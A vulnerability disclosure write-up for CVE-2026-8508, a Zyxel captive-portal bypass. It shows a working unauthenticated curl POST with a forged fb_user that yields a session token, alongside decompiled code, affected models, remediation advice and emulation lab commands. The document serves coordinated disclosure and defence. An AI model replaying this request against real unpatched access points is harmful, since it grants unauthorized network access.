CVE-2026-8508: Zyxel captive-portal bypass via trusted browser-submitted Facebook identity + Full emulation guide

At a glance

The request that changed the picture

The shortest replay is the clearest one:

curl -i -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'fb_user=test@example.com' \
  http://[target]/cgi-bin/social_login.cgi

Observed result:

HTTP/1.1 200 OK

Set-Cookie: authtok=<redacted-token>; path=/; HttpOnly

Matching backend activity recorded in the workspace notes:

logger_handle_login: User ...: User test@example.com social login fb login.

A pre-auth request carrying attacker-chosen identity data reached guest-session handling and produced an authentication token.

That is the bypass in concrete terms: instead of proving Facebook identity server-side and then granting captive-portal access, the device accepted browser-submitted identity data and continued into the admission path.

The local path to that result came entirely from emulation: the portal lane first had to be repaired from repeated 500 failures into a stateful backend path, then a direct crafted POST to social_login.cgi succeeded once on that repaired lane and matched the same fb_user in the UAM logs and request/notify traces. Zyxel's later confirmation is what tied that behavior back to physical hardware impact.

Where the trust boundary broke

The frontend and backend line up in the wrong direction.

var str = parent.document.location.hash;
tmp = str.split("=");
tmp = tmp[1].split("&");
access_token = tmp[0];
url = "https://graph.facebook.com/me?fields=name,email&access_token=" + access_token;

document.getElementById("fb_user").value = useremail;
document.getElementById("form").submit();

The backend route was pre-authenticated by configuration:

auth_zyxel.AuthZyxelSkipPattern = (
    "/social_login.cgi",
    "/userdata.html",
    "/fbwifi_forward.cgi",
    "/fbwifi_auth.cgi",
    "/cloud_idp_login.cgi"
)

And the reviewed CGI accepted those fields directly:

local_8  = (...)(local_40,"fb_user",0);
local_28 = (...)(local_40,"fb_locale",0);
local_30 = (...)(local_40,"fb_age",0);
local_38 = (...)(local_40,"fb_gender",0);
...
printf("Set-Cookie: authtok=%s; path=/; HttpOnly\n", param_3);

The reviewed path did not perform server-side validation of a Facebook access token, OAuth code, state, nonce, or another proof object before the login flow continued.

What the backend trusted

• the route is pre-auth
• the browser derives identity client-side
• the backend trusts browser-submitted fb_* fields
• the CGI can issue authtok
• that trusted identity reaches real guest-session handling

Downstream reach

The local evidence in this workspace points beyond cosmetic labeling. The same identity family appears in UAM social-login admission logic, simultaneous-login handling, authenticated-station replication, foreign-station structures, and fauthd event handling.

Zyxel's May 22, 2026 response confirmed that the root cause was missing server-side validation of Facebook identity fields and that crafted unauthenticated requests could potentially bypass the social-authentication gate, allow unauthorized client admission, and affect downstream enforcement and station-replication structures on physical hardware.

Official affected scope

Zyxel's August 4, 2026 advisory lists 39 affected models for CVE-2026-8508 in total:

APs: IAP500BE, NWA30BE, NWA50AX, NWA50AX PRO, NWA50BE, NWA50BE PRO,
NWA55AXE, NWA55AX PRO, NWA55AX PTP, NWA55BE, NWA90AX, NWA90AX PRO,
NWA90BE, NWA90BE PRO, NWA110AX, NWA110BE, NWA130BE, NWA210AX, NWA210AXv2,
NWA210BE, NWA220AX-6E, NWA240BE, WAC500H, WAX300H, WAX510D, WAX610D,
WAX620D-6E, WAX630S, WAX640S-6E, WAX650S, WAX655E, WBE530, WBE510D,
WBE630S, WBE660S, WBE665S

FWA7: FWA7 Leaf Plus, FWA7 Root Plus
Security router: USG LITE 60AX

Remediation direction

The fix is to perform strict server-side validation of the Facebook access token before continuing the request. Identity fields such as fb_user, fb_locale, fb_age, and fb_gender can be metadata after verification. They cannot be the proof itself.

Emulation lab

This path was developed entirely from emulation. The helpers below show what each stage was for, what it was built with, and what a quick run should look like.

For the broader rehosting path and deeper emulation notes, see the public Zyxel WAX650S research notebook.

./emulation/extract_710ABRM4C0.sh ./firmware.bin ./710ABRM4C0_extracted

python3 ./emulation/prepare_zyxel_runroot.py \
  --src ./710ABRM4C0_extracted/rootfs \
  --dst ./runroot

./emulation/run_zyxel_lab.sh rebuild --phase core
./emulation/run_zyxel_lab.sh health --phase core

python3 ./emulation/seed_zyxel_ipc.py up
python3 ./emulation/uam_unix_server.py \
  --socket ./runroot/dev/user-request \
  --log ./live_artifacts/uam-user-request.log

python3 ./emulation/prepare_portal_runtime.py \
  --runroot ./runroot \
  --mode synthetic-minimal \
  --theme THEME1 \
  --write-includes \
  --hydrate-assets \
  --bootstrap-state
python3 ./emulation/repair_portal_config.py \
  --runroot ./runroot \
  --theme THEME1

./emulation/force_portal_post_increment_refresh.sh portal_refresh
./emulation/social_login_portal_config_only_probe.sh social_probe

Tools used

Timeline

• 2026-05-01: local static reverse work and downstream-path analysis were consolidated
• 2026-05-15: Zyxel PSIRT said CVE-2026-8508 had been assigned
• 2026-05-22: Zyxel confirmed the missing server-side validation root cause and hardware-relevant downstream impact potential
• 2026-08-04: Zyxel published the advisory and listed 39 affected models